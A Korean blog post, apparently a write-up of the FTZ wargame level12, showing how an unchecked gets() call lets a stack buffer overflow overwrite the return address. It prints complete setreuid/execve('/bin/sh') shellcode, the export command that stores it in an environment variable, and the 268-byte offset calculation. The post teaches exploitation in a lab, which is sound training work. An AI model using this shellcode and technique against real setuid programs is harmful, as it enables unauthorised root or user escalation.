글
FTZ level12 write up
오랜만에 FTZ 를 다시 풀어본다....

전에 풀었던 level11의 암호를 이용해 로그인을 한 후 힌트 파일을 열어본다.
처음에 문자형인 str배열의 크기를 256 바이트 만큼 지정을 해주고
seturid가 3093, 3093임을 알 수 있다. <level13의 ID이겠지>
gets( str); ===> gets함수로 str에 사용자 입력을 받는 것 같은데, 몇자까지 입력 받는지 제한이 없다.
이 함수를 통해 BOF가 발생함을 알 수 있다.
우선, level11에서 했던 것 처럼 gdb로 attack me 라는 파일을 분석해보자.

gets함수가 수상하니까 <main +56> 이 근처를 잘 살펴보면 될 것 같다.
<main + 49> 이 부분을 통해 str에서 ebp까지의 거리가 264인 것을 알 수 있다.
근데 ret는 ebp로부터 4바이트 아래에 위치하니까
str[256]에서 main() ret까지의 거리가 268인 것을 알 수 있다.
스택 기반의 버퍼오버플로우에서 가장 중요한 것은 RET 값을 변조하는 것이다!
그래서 버퍼오버플로우가 일어나는 배열에서 RET값이 저장되는 공간 까지의 거리를 구해야한다!
level11에서 했던 것 처럼 ret전 까지 268만큼 아무 값을 넣어주면 된다.
우선,
쉘코드를 환경변수에 저장하고, 쉘코드가 저장되어있는 주소를 ret에 넣어 쉘을 얻어와 보자.
쉘코드:
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
export 명령어를 사용해서 환경변수에 쉘 코드를 저장한다.
export jh=$(python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')
env명령어를 통해 잘 되어있는지 확인한다.

jh의 주소를 알아내어 ret에 넣는 일만 남았다.
tmp에 jh.c파일을 만들어 준다.
그리고나서
컴파일 하고 실행시키면
0xbfffff86라는 주소값을 얻게 된다.

level13의 패스워드 값을 얻었다.
+FTZ11과 문제가 매우 유사해서 쉬웠던것같다.
'포너블' 카테고리의 다른 글
| FTZ level14 write up (0) | 2020.03.16 |
|---|---|
| FTZ level13 write up (0) | 2020.03.16 |
| JBU CTF - Pwn3 [babybof] (0) | 2020.03.10 |
| JBU CTF - Pwn2 [Segmentation Fault] (0) | 2020.03.10 |
| JBU CTF - Pwn1 [Easy BOF] (0) | 2020.03.10 |